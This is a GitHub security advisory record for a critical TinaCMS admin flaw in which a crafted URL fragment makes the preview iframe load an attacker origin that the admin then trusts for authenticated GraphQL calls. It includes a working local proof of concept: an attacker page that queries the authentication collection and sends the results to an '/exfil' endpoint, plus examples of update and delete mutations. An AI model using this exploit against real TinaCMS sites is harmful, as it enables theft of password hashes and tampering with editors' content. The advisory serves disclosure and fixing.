{"schema_version":"1.9.0","id":"GHSA-x34j-47hf-4xg7","published":"2026-10-09T20:56:48Z","modified":"2026-10-09T21:15:05.360447760Z","aliases":["CVE-2026-108261"],"summary":"TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment","details":"### Summary\n\nThe TinaCMS admin builds its preview `<iframe src>` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.\n\nOne link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.\n\n### Details\n\nRoot cause — the router splat becomes the frame source with no same-origin check:\n\n```\npackages/tinacms/src/admin/index.tsx:16     HashRouter as Router,\npackages/tinacms/src/admin/index.tsx:329      path='/~/*'\npackages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params['*']}`);\npackages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params['*']}`;\npackages/@tinacms/app/src/preview.tsx:24        src={props.url}\n```\n\nThe leading `/` is meant to force a relative path, but `react-router-dom@6.30.3` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.\n\nThe trust anchor is then computed from that same value:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)\npackages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;\npackages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -> reject\n```\n\nBoth guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.\n\n`PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.\n\nSink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:\n\n```\npackages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   'open' handler; zod validates types only, not query content\npackages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })\npackages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)\n```\n\n`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.\n\nDefault-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`.\n\nIncomplete-fix note: `tinacms@3.9.3` / `@tinacms/app@2.5.6` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.\n\nAffected-range basis, stated plainly: I tested only `tinacms@3.12.1` / `@tinacms/app@2.5.12` (commit `0d38acf`). The ranges below are given as `<=` because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.\n\nSuggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.\n\n### PoC\n\nSafe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc\nnpm init -y >/dev/null\nnpm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/app/src/lib/preview-origin.ts\" ./preview-origin.ts\n```\n\n`victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):\n\n```tsx\nimport React from 'react';\nimport { createRoot } from 'react-dom/client';\nimport { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';\nimport { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';\n\nconst log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);\n\n// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin\n// this is an authenticated call to the content API with the editor's token.\nasync function tinaRequest(query: string) {\n  log('cms.api.tina.request() called with attacker query', query);\n  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };\n}\n\nfunction useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {\n  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212\n  React.useEffect(() => {\n    log('expectedOrigin derived from preview url', { url, expectedOrigin });\n    (window as any).__poc_expectedOrigin = expectedOrigin;\n  }, [expectedOrigin, url]);\n\n  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {\n    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556\n    if (event.data.type === 'open') {                                                     // :613-624\n      log('ACCEPTED \"open\" message from', event.origin);\n      const expandedData = await tinaRequest(event.data.query);                           // :973-978\n      postMessageToPreview(iframe.current?.contentWindow,\n        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505\n      log('posted query result to', expectedOrigin);\n    }\n  }, [expectedOrigin]);\n\n  React.useEffect(() => {\n    window.addEventListener('message', handleMessage);\n    return () => window.removeEventListener('message', handleMessage);\n  }, [handleMessage]);\n}\n\nconst Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {\n  useGraphQLReducer(props.iframeRef, props.url);\n  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}\n                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24\n};\n\nconst PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210\n  const params = useParams();\n  const navigate = useNavigate();\n  const [url, setURL] = React.useState(`/${params['*']}`);\n  const [reportedURL, setReportedURL] = React.useState<string | null>(null);\n  const ref = React.useRef<HTMLIFrameElement>(null);\n  const paramURL = `/${params['*']}`;\n  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);\n  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);\n  React.useEffect(() => {                                                 // admin/index.tsx:189-200\n    setInterval(() => {\n      if (ref.current) {\n        const url = new URL(ref.current.contentWindow?.location.href || '');\n        if (url.origin === 'null') { return; }\n        const href = url.href.replace(url.origin, '');\n        setReportedURL(href);\n      }\n    }, 100);\n  }, [ref.current]);\n  React.useEffect(() => {\n    log('iframe src computed from router splat', { \"params['*']\": params['*'], url });\n    (window as any).__poc_iframeSrc = url;\n  }, [url]);\n  const PreviewCmp = preview;\n  return <div><PreviewCmp url={url} iframeRef={ref} /></div>;\n};\n\ncreateRoot(document.getElementById('root')!).render(\n  <Router>\n    <Routes>\n      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}\n      <Route path='/' element={<div>admin dashboard</div>} />\n    </Routes>\n  </Router>\n);\n```\n\n`victim/index.html`:\n\n```html\n<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>\n<body><div id=\"root\"></div><script type=\"module\" src=\"/admin.js\"></script></body></html>\n```\n\n`attacker/evil.html`:\n\n```html\n<!doctype html><html><body>\n<h1>attacker-controlled page framed by the TinaCMS admin</h1>\n<script>\n  parent.postMessage({ type: 'open', id: 'poc-1',\n    query: 'query { collection(collection: \"authentication\") { documents { edges { node { ... on Document { _values } } } } } }',\n    variables: {}, data: {} }, '*');\n  window.addEventListener('message', (e) => {\n    if (e.data && e.data.type === 'updateData') {\n      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });\n    }\n  });\n</script></body></html>\n```\n\n`run.cjs` — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];\nfunction serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);\n if(onHit)onHit(req.method+' '+u.pathname+u.search);\n if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}\n const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);\n if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});\n return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}\n(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);\n const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};\n for(const scenario of ['control','attack']){attackerHits.length=0;\n  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];\n  page.on('console',m=>logs.push(m.text()));\n  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;\n  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);\n  results[scenario]={hash,\n   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),\n   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),\n   framesLoaded:page.frames().map(f=>f.url()),\n   attackerServerHits:[...attackerHits],\n   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};\n  await ctx.close();}\n await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-poc\nnpx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \\\n  --loader:.tsx=tsx --define:process.env.NODE_ENV='\"production\"'\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"control\": {\n    \"hash\": \"#/~/posts/hello-world\",\n    \"iframeSrc\": \"/posts/hello-world\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8801\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~/posts/hello-world\",\n      \"http://127.0.0.1:8801/posts/hello-world\"\n    ],\n    \"attackerServerHits\": [],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"/posts/hello-world\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8801\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params['*']\\\":\\\"posts/hello-world\\\",\\\"url\\\":\\\"/posts/hello-world\\\"}\"\n    ]\n  },\n  \"attack\": {\n    \"hash\": \"#/~//127.0.0.1:8802/evil.html\",\n    \"iframeSrc\": \"//127.0.0.1:8802/evil.html\",\n    \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8802\",\n    \"framesLoaded\": [\n      \"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html\",\n      \"http://127.0.0.1:8802/evil.html\"\n    ],\n    \"attackerServerHits\": [\n      \"GET /evil.html\",\n      \"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D\"\n    ],\n    \"victimConsole\": [\n      \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8802\\\"}\",\n      \"[victim] iframe src computed from router splat {\\\"params['*']\\\":\\\"/127.0.0.1:8802/evil.html\\\",\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\"}\",\n      \"[victim] ACCEPTED \\\"open\\\" message from \\\"http://127.0.0.1:8802\\\"\",\n      \"[victim] cms.api.tina.request() called with attacker query \\\"query { collection(collection: \\\\\\\"authentication\\\\\\\") { documents { edges { node { ... on Document { _values } } } } } }\\\"\",\n      \"[victim] posted query result to \\\"http://127.0.0.1:8802\\\"\"\n    ]\n  }\n}\n```\n\nExpected vulnerable output — in `attack`: `iframeSrc` protocol-relative, `expectedOriginTrustedByAdmin` equal to the **attacker's** origin, a frame served by the attacker, and both `GET /evil.html` and `GET /exfil?data=...` on the attacker server. All held.\n\nControl — `#/~/posts/hello-world` keeps the frame same-origin, keeps `expectedOrigin` on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.\n\n**Supporting check — attacker mutations survive `expandQuery` and validate against a real Tina schema**\n\n```bash\nmkdir -p /tmp/tina-expand && cd /tmp/tina-expand\nnpm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0\ncp \"$REPO/packages/@tinacms/app/src/lib/expand-query.ts\" ./expand-query.ts\ncat > t.ts <<'EOF'\nimport * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';\nconst schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));\nconst ops: Record<string,string> = {\n  READ: `query { movieConnection { edges { node { _values } } } }`,\n  MUTATE_UPDATE: `mutation { updateDocument(collection: \"movie\", relativePath: \"movie1.json\", params: {movie: {title: \"pwned\"}}) { __typename } }`,\n  MUTATE_DELETE: `mutation { deleteDocument(collection: \"movie\", relativePath: \"movie1.json\") { __typename } }`,\n};\nfor (const [n, op] of Object.entries(ops)) {\n  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));\n  const errs = G.validate(schema, G.parse(printed));\n  console.log(`--- ${n} ---`);\n  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);\n  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);\n}\nEOF\nnpx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null\nSCHEMA=\"$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql\" node t.cjs\n```\n\nObserved output:\n\n```\n--- READ ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: query\n--- MUTATE_UPDATE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n--- MUTATE_DELETE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n```\n\n**Supporting check — router splat behaviour**\n\n```bash\nmkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null\nnpm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1\ncat > t.cjs <<'EOF'\nconst { matchPath } = require('react-router-dom');\nfor (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {\n  const s = matchPath({ path: '/~/*' }, p)?.params['*'];\n  console.log(JSON.stringify(p), '=> params[\"*\"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));\n}\nEOF\nnode t.cjs\n```\n\nObserved output:\n\n```\n\"/~/posts/hello\" => params[\"*\"] = \"posts/hello\" => url = \"/posts/hello\"\n\"/~//evil.example\" => params[\"*\"] = \"/evil.example\" => url = \"//evil.example\"\n\"/~/%2F%2Fevil.example\" => params[\"*\"] = \"//evil.example\" => url = \"///evil.example\"\n```\n\n**Scope of the proof.** Executed and observed here: the protocol-relative `url`, the cross-origin frame load, the attacker origin becoming `expectedOrigin`, the repository's real `isFromTrustedPreviewOrigin` accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — `cms.api.tina.request` was stubbed deliberately so the PoC contacts no external service and writes no data.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr\n```\n\nAll three PoCs were re-run after this report was drafted; the outputs above are those runs.\n\n### Impact\n\nOrigin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the `authentication` collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (`updateDocument`, `createDocument`, `deleteDocument`), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.\n\nImpacted: every deployment serving the TinaCMS admin bundle (`tinacms build` output or `tinacms dev`). No configuration disables the `/~/*` route.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)","affected":[{"package":{"name":"tinacms","ecosystem":"npm","purl":"pkg:npm/tinacms"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.14.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.13.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-x34j-47hf-4xg7/GHSA-x34j-47hf-4xg7.json"}},{"package":{"name":"@tinacms/app","ecosystem":"npm","purl":"pkg:npm/%40tinacms/app"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.5.14"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.5.13","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-x34j-47hf-4xg7/GHSA-x34j-47hf-4xg7.json"}}],"references":[{"type":"WEB","url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/pull/7522"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf"},{"type":"PACKAGE","url":"https://github.com/tinacms/tinacms"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14"},{"type":"WEB","url":"https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0"}],"database_specific":{"cwe_ids":["CWE-346","CWE-441","CWE-601"],"github_reviewed":true,"github_reviewed_at":"2026-10-09T20:56:48Z","nvd_published_at":null,"severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"}]}